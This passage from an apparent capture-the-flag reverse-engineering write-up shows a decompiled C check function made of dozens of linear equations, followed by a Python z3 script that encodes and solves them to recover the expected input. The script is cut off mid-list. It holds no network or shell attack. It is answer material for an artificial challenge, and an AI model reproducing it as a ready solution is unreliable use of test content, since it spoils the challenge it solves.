v6+ 1596 * v18+ 1902 * v15+ 2195 * v21+ 2261 * v20+ 2423 * v13+ 2264 * v23+ 2520 * v14+ 2627 * v10+ 2882 * v3+ 2928 * v12+ 3086 * v4+ 3260 * v24+ 3565 * v5+ 3577 * v7+ 3625 * v9+ 3629 * v11+ 3525 * v22+ 1202 * v25+ 3962 * v16+ 1153 * v33+ 1411 * v31+ 1520 * v34+ 1771 * v30+ 2547 * v32+ 3030 * v27+ 3011 * v29+ 3116 * v26+ 3326 * v28+ 1737 * (v19 + 2 * v8) == 6591297 && 1188 * v5+ 1439 * v20+ 1763 * v6+ 1900 * v11+ 1760 * v22+ 1958 * v13+ 2007 * v16+ 2200 * v18+ 2357 * v23+ 2829 * v10+ 2940 * v7+ 3058 * v19+ 3365 * v15+ 3303 * v21+ 3477 * v17+ 3790 * v3+ 3578 * v14+ 3713 * v12+ 3851 * v8+ 3924 * v4+ 1113 * v27+ 1477 * v25+ 1384 * v34+ 1993 * v33+ 2428 * v32+ 2801 * v29+ 2850 * v30+ 3108 * v26+ 3460 * v31+ 3887 * v28+ 1662 * (v9 + 2 * v24) == 6764513 && 1540 * v4+ 1357 * v16+ 1835 * v7+ 1823 * v11+ 2111 * v5+ 1896 * v23+ 2405 * v3+ 2022 * v24+ 2357 * v18+ 2704 * v6+ 2626 * v15+ 3356 * v8+ 3350 * v10+ 3271 * v20+ 3337 * v19+ 3485 * v12+ 3361 * v22+ 3556 * v13+ 3526 * v17+ 1041 * v30+ 1129 * v32+ 3869 * v21+ 1229 * v33+ 1423 * v31+ 1696 * v28+ 1717 * v27+ 2112 * v26+ 2565 * v34+ 3617 * v25+ 3585 * v29+ 1072 * (v14 + v9 + 2 * v14) == 6224197 && 1457 * v13+ 1584 * v9+ 1654 * v11+ 1911 * v19+ 1938 * v24+ 2296 * v5+ 2067 * v21+ 2532 * v15+ 2675 * v23+ 2962 * v8+ 2972 * v12+ 2848 * v22+ 3369 * v14+ 3483 * v18+ 3607 * v17+ 3734 * v10+ 3855 * v6+ 3635 * v20+ 3932 * v4+ 3963 * v16+ 1221 * v33+ 1459 * v31+ 1511 * v28+ 2142 * v26+ 2741 * v29+ 3223 * v25+ 3175 * v30+ 3754 * v27+ 3870 * v34+ 3825 * v32+ 1559 * v3+ 1053 * v7 == 7018874 && 1205 * v5+ 1193 * v11+ 1300 * v22+ 1734 * v12+ 1881 * v21+ 1962 * v19+ 2279 * v9+ 2176 * v17+ 2626 * v3+ 2637 * v13+ 2701 * v10+ 2548 * v20+ 2783 * v6+ 2705 * v18+ 2934 * v4+ 2641 * v24+ 2993 * v16+ 3398 * v8+ 3534 * v14+ 3413 * v23+ 3556 * v15+ 3850 * v7+ 1443 * v34+ 1611 * v29+ 1855 * v26+ 1877 * v30+ 2142 * v27+ 2855 * v25+ 2752 * v33+ 3462 * v28+ 3424 * v31+ 3678 * v32 == 6717789 && 1313 * v6+ 1145 * v24+ 1673 * v4+ 1610 * v10+ 1695 * v14+ 1818 * v9+ 1875 * v7+ 2040 * v5+ 2017 * v11+ 2296 * v3+ 2112 * v13+ 2169 * v15+ 2090 * v20+ 2497 * v21+ 2685 * v19+ 3072 * v8+ 3040 * v17+ 2990 * v23+ 3488 * v18+ 3589 * v22+ 3831 * v16+ 3932 * v12+ 1335 * v31+ 1651 * v27+ 2044 * v29+ 2314 * v26+ 2353 * v25+ 2605 * v34+ 3192 * v33+ 3258 * v30+ 3740 * v28+ 3759 * v32 == 6502052 && 1181 * v4+ 1077 * v22+ 1467 * v15+ 1829 * v6+ 1813 * v19+ 2264 * v3+ 2240 * v18+ 2503 * v5+ 2561 * v13+ 2627 * v14+ 3129 * v17+ 3292 * v9+ 3174 * v20+ 3215 * v23+ 3549 * v11+ 3608 * v8+ 3556 * v12+ 3541 * v16+ 3775 * v7+ 3683 * v24+ 3997 * v10+ 1759 * v30+ 2027 * v33+ 2084 * v34+ 2824 * v27+ 3213 * v25+ 3392 * v29+ 3428 * v32+ 3670 * v31+ 3992 * v26+ 3601 * (v21 + v28) == 7439610 && 1010 * v15+ 1221 * v11+ 1287 * v7+ 1164 * v19+ 1240 * v18+ 1498 * v5+ 1503 * v10+ 1489 * v17+ 1786 * v4+ 2075 * v3+ 1970 * v6+ 1704 * v24+ 2171 * v16+ 2663 * v12+ 2542 * v20+ 2619 * v21+ 2591 * v23+ 3363 * v14+ 3604 * v9+ 3706 * v13+ 3847 * v8+ 1098 * v33+ 1232 * v26+ 3913 * v22+ 1303 * v31+ 1750 * v27+ 2205 * v28+ 2539 * v30+ 2818 * v25+ 2975 * v29+ 3247 * v34+ 3422 * v32 == 5861762 && 1262 * v14+ 1545 * v9+ 1540 * v20+ 1678 * v12+ 1944 * v18+ 1870 * v24+ 2584 * v3+ 2289 * v17+ 2318 * v23+ 2648 * v4+ 2508 * v22+ 2712 * v10+ 2769 * v13+ 2913 * v7+ 3075 * v8+ 2985 * v16+ 3245 * v21+ 3546 * v11+ 3519 * v15+ 3864 * v6+ 3971 * v5+ 1132 * v27+ 3865 * v19+ 1152 * v29+ 1472 * v28+ 1601 * v25+ 2087 * v30+ 2323 * v26+ 2570 * v31+ 3103 * v34+ 3763 * v32+ 3901 * v33 == 6606266 && 1543 * v10+ 1637 * v14+ 1608 * v21+ 2347 * v11+ 2409 * v15+ 2588 * v19+ 2681 * v18+ 3015 * v7+ 2758 * v24+ 3088 * v12+ 3049 * v17+ 3423 * v3+ 3060 * v22+ 3342 * v20+ 3600 * v5+ 3565 * v8+ 3463 * v16+ 3969 * v6+ 3943 * v13+ 1067 * v34+ 1430 * v31+ 1690 * v28+ 1748 * v33+ 1843 * v30+ 2620 * v32+ 2949 * v29+ 3146 * v27+ 3888 * v26+ 3954 * v25+ 1221 * v23+ 1527 * v4+ 1028 * v9 == 6637643 && 1035 * v5+ 1185 * v7+ 1359 * v14+ 1748 * v12+ 1853 * v9+ 1766 * v16+ 2038 * v8+ 2001 * v24+ 2536 * v3+ 2411 * v21+ 2629 * v10+ 2923 * v13+ 2944 * v17+ 3226 * v6+ 3224 * v11+ 3257 * v15+ 3318 * v19+ 3355 * v23+ 3783 * v4+ 3726 * v20+ 3955 * v18+ 1496 * v26+ 1515 * v28+ 1584 * v27+ 2142 * v33+ 2196 * v34+ 2549 * v25+ 3342 * v30+ 3913 * v32+ 3964 * v29+ 1025 * (v31 + v22 + 2 * v31) == 6620539 && 1429 * v8+ 1705 * v10+ 1948 * v3+ 1652 * v22+ 1814 * v19+ 2072 * v4+ 1838 * v24+ 2036 * v16+ 2375 * v13+ 2565 * v15+ 3173 * v7+ 3141 * v18+ 3426 * v5+ 3404 * v9+ 3256 * v21+ 3606 * v6+ 3626 * v11+ 3812 * v12+ 1015 * v27+ 3736 * v17+ 1230 * v29+ 3936 * v23+ 3994 * v20+ 2131 * v28+ 2355 * v26+ 3011 * v32+ 3482 * v25+ 3625 * v31+ 3637 * v33+ 3841 * v30+ 1093 * (v14 + 2 * v34) == 6958794 && 1028 * v24+ 1148 * v19+ 1109 * v23+ 1416 * v9+ 1634 * v6+ 2233 * v13+ 2262 * v12+ 2353 * v8+ 2303 * v15+ 2213 * v22+ 2452 * v10+ 2690 * v3+ 2650 * v4+ 2893 * v7+ 3008 * v11+ 3124 * v20+ 3256 * v18+ 3303 * v17+ 3454 * v14+ 3662 * v5+ 1080 * v26+ 1050 * v29+ 1155 * v30+ 1318 * v27+ 1264 * v32+ 1676 * v34+ 2361 * v31+ 2858 * v28+ 3200 * v25+ 3903 * v33+ 1317 * (v21 + 2 * v16) == 5945386 && 1003 * v22+ 1561 * v6+ 1674 * v11+ 1831 * v15+ 1948 * v8+ 1923 * v14+ 1878 * v17+ 1781 * v24+ 2008 * v19+ 1945 * v23+ 2282 * v9+ 2489 * v7+ 2369 * v16+ 2653 * v10+ 2619 * v20+ 3220 * v12+ 3259 * v18+ 3402 * v13+ 3643 * v3+ 3909 * v4+ 3902 * v5+ 3971 * v21+ 1392 * v26+ 1410 * v34+ 1698 * v29+ 1722 * v31+ 2037 * v33+ 2313 * v28+ 3504 * v25+ 3589 * v30+ 3685 * v27+ 3938 * v32 == 6697494 && 1058 * v13+ 1234 * v4+ 1117 * v17+ 1039 * v22+ 1212 * v23+ 1508 * v5+ 1493 * v8+ 1330 * v21+ 1555 * v19+ 1961 * v6+ 1959 * v7+ 1937 * v11+ 2269 * v10+ 2461 * v3+ 2215 * v18+ 2515 * v9+ 2869 * v12+ 2815 * v20+ 2971 * v15+ 3264 * v16+ 3288 * v24+ 3700 * v14+ 1484 * v29+ 1541 * v34+ 1774 * v30+ 2082 * v25+ 2085 * v27+ 2954 * v26+ 2951 * v33+ 3380 * v31+ 3710 * v28+ 3815 * v32 == 5896567 && 1028 * v19+ 1363 * v18+ 1788 * v8+ 1790 * v16+ 1778 * v21+ 1941 * v15+ 2008 * v14+ 2184 * v20+ 2200 * v22+ 2679 * v4+ 2689 * v12+ 2898 * v6+ 2723 * v17+ 3073 * v7+ 3110 * v5+ 2885 * v24+ 3113 * v13+ 3071 * v23+ 3977 * v9+ 3956 * v11+ 1629 * v34+ 1676 * v33+ 1974 * v25+ 2071 * v26+ 2867 * v28+ 3153 * v29+ 3168 * v31+ 3333 * v27+ 3295 * v30+ 3825 * v32+ 1132 * v10+ 1115 * v3 == 6410858 && 1080 * v8+ 1309 * v5+ 1249 * v10+ 1726 * v20+ 1681 * v23+ 1816 * v18+ 2116 * v9+ 2650 * v3+ 2528 * v12+ 2693 * v6+ 2686 * v7+ 2516 * v19+ 2666 * v21+ 2864 * v14+ 2964 * v24+ 3087 * v22+ 3405 * v16+ 3421 * v15+ 3598 * v4+ 3667 * v11+ 3679 * v13+ 1021 * v27+ 3826 * v17+ 1064 * v30+ 2340 * v25+ 3309 * v31+ 3415 * v32+ 3686 * v26+ 3662 * v28+ 3721 * v29+ 3873 * v34+ 3902 * v33 == 7041898 ) { if ( ++v1 >= 10 ) return 1; } return 0;}``` Which is pretty easily z3-able: ```pythonimport z3 def main(): s = z3.Solver() v3 = z3.Int('v3') v4 = z3.Int('v4') v5 = z3.Int('v5') v6 = z3.Int('v6') v7 = z3.Int('v7') v8 = z3.Int('v8') v9 = z3.Int('v9') v10 = z3.Int('v10') v11 = z3.Int('v11') v12 = z3.Int('v12') v13 = z3.Int('v13') v14 = z3.Int('v14') v15 = z3.Int('v15') v16 = z3.Int('v16') v17 = z3.Int('v17') v18 = z3.Int('v18') v19 = z3.Int('v19') v20 = z3.Int('v20') v21 = z3.Int('v21') v22 = z3.Int('v22') v23 = z3.Int('v23') v24 = z3.Int('v24') v25 = z3.Int('v25') v26 = z3.Int('v26') v27 = z3.Int('v27') v28 = z3.Int('v28') v29 = z3.Int('v29') v30 = z3.Int('v30') v31 = z3.Int('v31') v32 = z3.Int('v32') v33 = z3.Int('v33') v34 = z3.Int('v34') s.add(1040 * v5 + 1106 * v4 + 1006 * v15 + 1288 * v3 + 1084 * v21 + 1350 * v14 + 1370 * v13 + 1446 * v9 + 1393 * v17 + 1548 * v18 + 1729 * v12 + 1623 * v20 + 1890 * v11 + 1756 * v23 + 2101 * v16 + 2264 * v7 + 2648 * v8 + 2629 * v19 + 2954 * v22 + 3805 * v10 + 3942 * v6 + 3840 * v24 + 1538 * v34 + 1626 * v31 + 2376 * v26 + 2931 * v27 + 2966 * v25 + 2944 * v29 + 3308 * v28 + 3323 * v32 + 3439 * v30 + 3537 * v33 == 5584337) s.add(1724 * v8 + 1191 * v12 + 1350 * v5 + 1287 * v16 + 1430 * v10 + 1457 * v15 + 1588 * v24 + 2031 * v3 + 1753 * v17 + 1758 * v22 + 2150 * v6 + 2107 * v11 + 2383 * v18 + 2941 * v7 + 2966 * v9 + 3209 * v21 + 3337 * v14 + 3909 * v20 + 3945 * v19 + 1422 * v25 + 1506 * v27 + 1762 * v33 + 1946 * v26 + 1900 * v31 + 2030 * v28 + 2413 * v29 + 2655 * v34 + 3168 * v30 + 3591 * v32 + 1221 * v23 + 1007 * v13 + 1052 * v4 == 5610974) s.add(1467 * v4 + 1464 * v12 + 1491 * v18 + 1961 * v17 + 2169 * v7 + 2145 * v14 + 3358 * v10 + 3281 * v15 + 3500 * v6 + 3478 * v9 + 3391 * v23 + 3436 * v22 + 3705 * v13 + 3604 * v24 + 1153 * v26 + 3962 * v11 + 3942 * v20 + 1292 * v27 + 3995 * v19 + 1382 * v28 + 1716 * v30 + 1726 * v34 + 1902 * v25 + 2718 * v31 + 2895 * v32 + 3421 * v29 + 3447 * v33 + 2827 * (v21 + v16) + 1724 * v8 + 1334 * v5 + 1041 * v3 == 6528434) s.add(1644 * v22 + 1894 * v10 + 1868 * v20 + 2253 * v19 + 2667 * v7 + 2703 * v11 + 2547 * v21 + 2664 * v16 + 2869 * v5 + 2711 * v18 + 2912 * v6 + 3035 * v9 + 3299 * v8 + 3538 * v4 + 3771 * v3 + 3673 * v15 + 3811 * v12 + 3662 * v23 + 1035 * v32 + 3757 * v24 + 1316 * v31 + 1529 * v29 + 1741 * v28 + 1778 * v30 + 1859 * v26 + 2190 * v33 + 2842 * v34 + 3037 * v25 + 3723 * v27 + 2322 * v13 + 1333 * v14 + 1141 * v17 == 6484666) s.add(1270 * v21 + 1573 * v24 + 2118 * v3 + 1930 * v12 + 2115 * v8 + 2072 * v20 + 2541 * v6 + 2386 * v16 + 2639 * v9 + 2704 * v11 + 2673 * v15 + 2833 * v7 + 2929 * v5 + 2745 * v18 + 3082 * v4 + 2977 * v13 + 3021 * v17 + 3306 * v14 + 3658 * v10 + 3777 * v23 + 3829 * v22 + 1161 * v29 + 3924 * v19 + 1636 * v30 + 1574 * v34 + 1767 * v32 + 2290 * v28 + 2355 * v31 + 2512 * v26 + 3097 * v25 + 3655 * v33 + 3986 * v27 == 6823719) s.add(1021 * v18 + 1359 * v4 + 1350 * v12 + 1483 * v8 + 1374 * v15 + 1348 * v19 + 1548 * v7 + 1624 * v5 + 1595 * v9 + 1602 * v11 + 1484 * v22 + 1836 * v14 + 2041 * v10 + 2291 * v13 + 2596 * v17 + 2668 * v21 + 2734 * v24 + 3020 * v16 + 3410 * v3 + 3199 * v20 + 3537 * v6 + 3281 * v23 + 1053 * v25 + 1127 * v31 + 1467 * v32 + 1728 * v33 + 1788 * v30 + 1900 * v29 + 1938 * v28 + 2999 * v26 + 3418 * v27 + 3893 * v34 == 5330889) s.add(1224 * v21 + 1648 * v3 + 1303 * v20 + 1514 * v10 + 1617 * v8 + 1935 * v13 + 2483 * v4 + 2519 * v17 + 2616 * v12 + 2556 * v18 + 2813 * v9 + 2798 * v19 + 3008 * v22 + 3310 * v7 + 3309 * v11 + 3249 * v16 + 3421 * v6 + 3451 * v14 + 3600 * v15 + 3807 * v5 + 3609 * v24 + 1093 * v29 + 1195 * v27 + 3844 * v23 + 1523 * v31 + 1503 * v34 + 2587 * v32 + 3343 * v30 + 3314 * v33 + 3485 * v28 + 3702 * v26 + 3989 * v25 == 6888831) s.add(1038 * v19 + 1157 * v14 + 1281 * v10 + 1179 * v20 + 1190 * v21 + 1191 * v24 + 1292 * v18 + 1618 * v6 + 1538 * v17 + 2009 * v13 + 2200 * v4 + 2448 * v3 + 2458 * v5 + 2589 * v11 + 2796 * v8 + 2958 * v23 + 3580 * v7 + 3472 * v15 + 3622 * v16 + 3657 * v22 + 1272 * v31 + 2156 * v27 + 2202 * v29 + 2646 * v34 + 2815 * v25 + 2888 * v26 + 3055 * v32 + 3328 * v33 + 3511 * v28 + 3634 * v30 + 3798 * (v9 + v12) == 6321788) s.add(1651 * v14 + 1875 * v5 + 1881 * v11 + 1892 * v19 + 2021 * v15 + 2433 * v6 + 2416 * v10 + 2476 * v18 + 2886 * v4 + 2712 * v22 + 2998 * v12 + 3142 * v8 + 3362 * v3 + 3075 * v21 + 3510 * v24 + 3699 * v16 + 1003 * v25 + 3600 * v23 + 3844 * v9 + 1255 * v31 + 1789 * v30 + 2401 * v29 + 2423 * v32 + 2585 * v34 + 3002 * v33 + 3688 * v28 + 3861 * v27 + 3869 * (v26 + v7) + 2322 * v13 + 1557 * v17 + 1389 * v20 == 6796074) s.add(1182 * v3 + 1088 * v5 + 1425 * v19 + 1434 * v21 + 1512 * v24 + 1832 * v9 + 1932 * v10 + 2169 * v11 + 2285 * v4 + 2426 * v6 + 2329 * v16 + 2617 * v7 + 2441 * v23 + 2555 * v20 + 2549 * v22 + 2721 * v13 + 2692 * v18 + 2976 * v15 + 3154 * v12 + 3189 * v14 + 3368 * v17 + 3757 * v8 + 1060 * v26 + 1145 * v25 + 1423 * v30 + 1529 * v34 + 1718 * v27 + 1753 * v28 + 2139 * v29 + 2279 * v31 + 2687 * v33 + 2996 * v32 == 5803503) s.add(1193 * v7 + 1114 * v17 + 1297 * v9 + 1263 * v22 + 1455 * v15 + 1488 * v13 + 1355 * v24 + 1949 * v6 + 2105 * v12 + 2286 * v11 + 2282 * v14 + 2549 * v3 + 2316 * v19 + 2866 * v5 + 2734 * v16 + 3195 * v8 + 3437 * v4 + 3416 * v10 + 3701 * v18 + 3671 * v20 + 3786 * v21 + 1756 * v32 + 1912 * v27 + 2185 * v25 + 2321 * v33 + 2558 * v34 + 2808 * v28 + 2832 * v29 + 3053 * v26 + 3945 * v30 + 2313 * (v31 + v23) == 6283755) s.add(1044 * v15 + 1481 * v5 + 1659 * v16 + 1982 * v4 + 2144 * v6 + 2129 * v9 + 2466 * v14 + 2745 * v23 + 3196 * v7 + 3161 * v10 + 3024 * v20 + 3222 * v8 + 3173 * v13 + 3154 * v21 + 3253 * v19 + 3292 * v17 + 3646 * v3 + 3450 * v12 + 3535 * v11 + 3439 * v18 + 3510 * v22 + 3649 * v24 + 1787 * v31 + 1905 * v32 + 2022 * v28 + 2186 * v25 + 2474 * v27 + 2391 * v34 + 3018 * v30 + 3168 * v29 + 3313 * v26 + 3958 * v33 == 7038880) s.add(1314 * v7 + 1372 * v11 + 1625 * v4 + 2202 * v3 + 2070 * v14 + 2414 * v6 + 2297 * v16 + 2487 * v15 + 2518 * v17 + 2824 * v8 + 2874 * v10 + 2763 * v21 + 3159 * v12 + 2985 * v24 + 3177 * v18 + 3334 * v9 + 3477 * v5 + 3192 * v23 + 3270 * v20 + 3668 * v22 + 3833 * v13 + 1102 * v25 + 3773 * v19 + 1527 * v31 + 2099 * v30 + 2543 * v33 + 2627 * v28 + 2802 * v29 + 2924 * v34 + 3213 * v27 + 3480 * v26 + 3625 * v32 == 6980452) s.add(1142 * v14 + 1432 * v8 + 1593 * v10 + 2003 * v7 + 2061 * v5 + 2031 * v12 + 1974 * v22 + 2064 * v17 + 2187 * v19 + 2286 * v16 + 2413 * v21 + 2725 * v11 + 3023 * v3 + 2900 * v18 + 3181 * v6 + 3222 * v15 + 3170 * v24 + 3270 * v23 + 3505 * v9 + 3360 * v20 + 3492 * v13 + 3972 * v4 + 1235 * v25 + 1140 * v33 + 1550 * v32 + 1833 * v26 + 1896 * v29 + 2285 * v31 + 2711 * v27 + 2667 * v30 + 2760 * v28 + 2694 * v34 == 6213703) s.add(1119 * v19 + 1087 * v22 + 1624 * v4 + 1694 * v8 + 2019 * v5 + 2018 * v17 + 2060 * v23 + 2466 * v12 + 2484 * v16 + 2464 * v18 + 2658 * v9 + 2593 * v14 + 2678 * v13 + 3125 * v6 + 2926 * v24 + 3302 * v10 + 3371 * v11 + 3695 * v3 + 3576 * v7 + 1010 * v25 + 3851 * v15 + 1043 * v31 + 3800 * v21 + 1227 * v30 + 2164 * v33 + 2757 * v26 + 2758 * v32 + 3170 * v27 + 3109 * v34 + 3315 * v28 + 1576 * (v29 + 2 * v20) == 6470003) s.add(1123 * v17 + 1487 * v6 + 1596 * v18 + 1902 * v15 + 2195 * v21 + 2261 * v20 + 2423 * v13 + 2264 * v23 + 2520 * v14 + 2627 * v10 + 2882 * v3 + 2928 * v12 + 3086 * v4 + 3260 * v24 + 3565 * v5 + 3577 * v7 + 3625 * v9 + 3629 * v11 + 3525 * v22 + 1202 * v25 + 3962 * v16 + 1153 * v33 + 1411 * v31 + 1520 * v34 + 1771 * v30 + 2547 * v32 + 3030 * v27 + 3011 * v29 + 3116 * v26 + 3326 * v28 + 1737 * (v19 + 2 * v8) == 6591297) s.add(1188 * v5 + 1439 * v20 + 1763 * v6 + 1900 * v11 + 1760 * v22 + 1958 * v13 + 2007 * v16 + 2200 * v18 + 2357 * v23 + 2829 * v10 + 2940 * v7 + 3058 * v19 + 3365 * v15 + 3303 * v21 + 3477 * v17 + 3790 * v3 + 3578 * v14 + 3713 * v12 + 3851 * v8 + 3924 * v4 + 1113 * v27 + 1477 * v25 + 1384 * v34 + 1993 * v33 + 2428 * v32 + 2801 * v29 + 2850 * v30 + 3108 * v26 + 3460 * v31 + 3887 * v28 + 1662 * (v9 + 2 * v24) == 6764513) s.add(1540 * v4 + 1357 * v16 + 1835 * v7 + 1823 * v11 + 2111 * v5 + 1896 * v23 + 2405 * v3 + 2022 * v24 + 2357 * v18 + 2704 * v6 + 2626 * v15 + 3356 * v8 + 3350 * v10 + 3271 * v20 + 3337 * v19 + 3485 * v12 + 3361 * v22 + 3556 * v13 + 3526 * v17 + 1041 * v30 + 1129 * v32 + 3869 * v21 + 1229 * v33 + 1423 * v31 + 1696 * v28 + 1717 * v27 + 2112 * v26 + 2565 * v34 + 3617 * v25 + 3585 * v29 + 1072 * (v14 + v9 + 2 * v14) == 6224197) s.add(1457 * v13 + 1584 * v9 + 1654 * v11 + 1911 * v19 + 1938 * v24 + 2296 * v5 + 2067 * v21 + 2532 * v15 + 2675 * v23 + 2962 * v8 + 2972 * v12 + 2848 * v22 + 3369 * v14 + 3483 * v18 + 3607 * v17 + 3734 * v10 + 3855 * v6 + 3635 * v20 + 3932 * v4 + 3963 * v16 + 1221 * v33 + 1459 * v31 + 1511 * v28 + 2142 * v26 + 2741 * v29 + 3223 * v25 + 3175 * v30 + 3754 * v27 + 3870 * v34 + 3825 * v32 + 1559 * v3 + 1053 * v7 == 7018874) s.add(1205 * v5 + 1193 * v11 + 1300 * v22 + 1734 * v12 + 1881 * v21 + 1962 * v19 + 2279 * v9 + 2176 * v17 + 2626 * v3 + 2637 * v13 + 2701 * v10 + 2548 * v20 + 2783 * v6 + 2705 * v18 + 2934 * v4 + 2641 * v24 + 2993 * v16 + 3398 * v8 + 3534 * v14 + 3413 * v23 + 3556 * v15 + 3850 * v7 + 1443 * v34 + 1611 * v29 + 1855 * v26 + 1877 * v30 + 2142 * v27 + 2855 * v25 + 2752 * v33 + 3462 * v28 + 3424 * v31 + 3678 * v32 == 6717789) s.add(1313 * v6 + 1145 * v24 + 1673 * v4 + 1610 * v10 + 1695 * v14 + 1818 * v9 + 1875 * v7 + 2040 * v5 + 2017 * v11 + 2296 * v3 + 2112 * v13 + 2169 * v15 + 2090 * v20 + 2497 * v21 + 2685 * v19 + 3072 * v8 + 3040 * v17 + 2990 * v23 + 3488 * v18 + 3589 * v22 + 3831 * v16 + 3932 * v12 + 1335 * v31 + 1651 * v27 + 2044 * v29 + 2314 * v26 + 2353 * v25 + 2605 * v34 + 3192 * v33 + 3258 * v30 + 3740 * v28 + 3759 * v32 == 6502052) s.add(1181 * v4 + 1077 * v22 + 1467 * v15 + 1829 * v6 + 1813 * v19 + 2264 * v3 + 2240 * v18 + 2503 * v5 + 2561 * v13 + 2627 * v14 + 3129 * v17 + 3292 * v9 + 3174 * v20 + 3215 * v23 + 3549 * v11 + 3608 * v8 + 3556 * v12 + 3541 * v16 + 3775 * v7 + 3683 * v24 + 3997 * v10 + 1759 * v30 + 2027 * v33 + 2084 * v34 + 2824 * v27 + 3213 * v25 + 3392 * v29 + 3428 * v32 + 3670 * v31 + 3992 * v26 + 3601 * (v21 + v28) == 7439610) s.add(1010 * v15 + 1221 * v11 + 1287 * v7 + 1164 * v19 + 1240 * v18 + 1498 * v5 + 1503 * v10 + 1489 * v17 + 1786 * v4 + 2075 * v3 + 1970 * v6 + 1704 * v24 + 2171 * v16 + 2663 * v12 + 2542 * v20 + 2619 * v21 + 2591 * v23 + 3363 * v14 + 3604 * v9 + 3706 * v13 + 3847 * v8 + 1098 * v33 + 1232 * v26 + 3913 * v22 + 1303 * v31 + 1750 * v27 + 2205 * v28 + 2539 * v30 + 2818 * v25 + 2975 * v29 + 3247 * v34 + 3422 * v32 == 5861762) s.add(1262 * v14 + 1545 * v9 + 1540 * v20 + 1678 * v12 + 1944 * v18 + 1870 * v24 + 2584 * v3 + 2289 * v17 + 2318 * v23 + 2648 * v4 + 2508 * v22 + 2712 * v10 + 2769 * v13 + 2913 * v7 + 3075 * v8 + 2985 * v16 + 3245 * v21 + 3546 * v11 + 3519 * v15 + 3864 * v6 + 3971 * v5 + 1132 * v27 + 3865 * v19 + 1152 * v29 + 1472 * v28 + 1601 * v25 + 2087 * v30 + 2323 * v26 + 2570 * v31 + 3103 * v34 + 3763 * v32 + 3901 * v33 == 6606266) s.add(1543 * v10 + 1637 * v14 + 1608 * v21 + 2347 * v11 + 2409 * v15 + 2588 * v19 + 2681 * v18 + 3015 * v7 + 2758 * v24 + 3088 * v12 + 3049 * v17 + 3423 * v3 + 3060 * v22 + 3342 * v20 + 3600 * v5 + 3565 * v8 + 3463 * v16 + 3969 * v6 + 3943 * v13 + 1067 * v34 + 1430 * v31 + 1690 * v28 + 1748 * v33 + 1843 * v30 + 2620 * v32 + 2949 * v29 + 3146 * v27 + 3888 * v26 + 3954 * v25 + 1221 * v23 + 1527 * v4 + 1028 * v9 == 6637643) s.add(1035 * v5 + 1185 * v7 + 1359 * v14 + 1748 * v12 + 1853 * v9 + 1766 * v16 + 2038 * v8 + 2001 * v24 + 2536 * v3 + 2411 * v21 + 2629 * v10 + 2923 * v13 + 2944 * v17 + 3226 * v6 + 3224 * v11 + 3257 * v15 + 3318 * v19 + 3355 * v23 + 3783 * v4 + 3726 * v20 + 3955 * v18 + 1496 * v26 + 1515 * v28 + 1584 * v27 + 2142 * v33 + 2196 * v34 + 2549 * v25 + 3342 * v30 + 3913 * v32 + 3964 * v29 + 1025 * (v31 + v22 + 2 * v31) == 6620539) s.add(1429 * v8 + 1705 * v10 + 1948 * v3 + 1652 * v22 + 1814 * v19 + 2072 * v4 + 1838 * v24 + 2036 * v16 + 2375 * v13 + 2565 * v15 + 3173 * v7 + 3141 * v18 + 3426 * v5 + 3404 * v9 + 3256 * v21 + 3606 * v6 + 3626 * v11 + 3812 * v12 + 1015 * v27 + 3736 * v17 + 1230 * v29 + 3936 * v23 + 3994 * v20 + 2131 * v28 + 2355 * v26 + 3011 * v32 + 3482 * v25 + 3625 * v31 + 3637 * v33 + 3841 * v30 + 1093 * (v14 + 2 * v34) == 6958794) s.add(1028 * v24 + 1148 * v19 + 1109 * v23 + 1416 * v9 + 1634 * v6 + 2233 * v13 + 2262 * v12 + 2353 * v8 + 2303 * v15 + 2213 * v22 + 2452 * v10 + 2690 * v3 + 2650 * v4 + 2893 * v7 + 3008 * v11 + 3124 * v20 + 3256 * v18 + 3303 * v17 + 3454 * v14 + 3662 * v5 + 1080 * v26 + 1050 * v29 + 1155 * v30 + 1318 * v27 + 1264 * v32 + 1676 * v34 + 2361 * v31 + 2858 * v28 + 3200 * v25 + 3903 * v33 + 1317 * (v21 + 2 * v16) == 5945386) s.add(1003 * v22 + 1561 * v6 + 1674 * v11 + 1831 * v15 + 1948 * v8 + 1923 * v14 + 1878 * v17 + 1781 * v24 + 2008 * v19 + 1945 * v23 + 2282 * v9 + 2489 * v7 + 2369 * v16 + 2653 * v10 + 2619 * v20 + 3220 * v12 + 3259 * v18 + 3402 * v13 + 3643 * v3 + 3909 * v4 + 3902 * v5 + 3971 * v21 + 1392 * v26 + 1410 * v34 + 1698 * v29 + 1722 * v31 + 2037 * v33 + 2313 * v28 + 3504 * v25 + 3589 * v30 + 3685 * v27 + 3938 * v32 == 6697494) s.add(1058 * v13 + 1234 * v4 + 1117 * v17 + 1039 * v22 + 1212 * v23 + 1508 * v5 + 1493 * v8 + 1330 * v21 + 1555 * v19 + 1961 * v6 + 1959 * v7 + 1937 * v11 + 2269 * v10 + 2461 * v3 + 2215 * v18 + 2515 * v9 + 2869 * v12 + 2815 * v20 + 2971 * v15 + 3264 * v16 + 3288 * v24 + 3700 * v14 + 1484 * v29 + 1541 * v34 + 1774 * v30 + 2082 * v25 + 2085 * v27 + 2954 * v26 + 2951 * v33 + 3380 * v31 + 3710 * v28 + 3815 * v32 == 5896567) s.add(1028 * v19 + 1363 * v18 + 1788 * v8 + 1790 * v16 + 1778 * v21 + 1941 * v15 + 2008 * v14 + 2184 * v20 + 2200 * v22 + 2679 * v4 + 2689 * v12 + 2898 * v6 + 2723 * v17 + 3073 * v7 + 3110 * v5 + 2885 * v24 + 3113 * v13 + 3071 * v23 + 3977 * v9 + 3956 * v11 + 1629 * v34 + 1676 * v33 + 1974 * v25 + 2071 * v26 + 2867 * v28 + 3153 * v29 + 3168 * v31 + 3333 * v27 + 3295 * v30 + 3825 * v32 + 1132 * v10 + 1115 * v3 == 6410858) s.add(1080 * v8 + 1309 * v5 + 1249 * v10 + 1726 * v20 + 1681 * v23 + 1816 * v18 + 2116 * v9 + 2650 * v3 + 2528 * v12 + 2693 * v6 + 2686 * v7 + 2516 * v19 + 2666 * v21 + 2864 * v14 + 2964 * v24 + 3087 * v22 + 3405 * v16 + 3421 * v15 + 3598 * v4 + 3667 * v11 + 3679 * v13 + 1021 * v27 + 3826 * v17 + 1064 * v30 + 2340 * v25 + 3309 * v31 + 3415 * v32 + 3686 * v26 + 3662 * v28 + 3721 * v29 + 3873 * v34 + 3902 * v33 == 0x6B736A) print(s.check()) print(s.model()) vars = [v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, 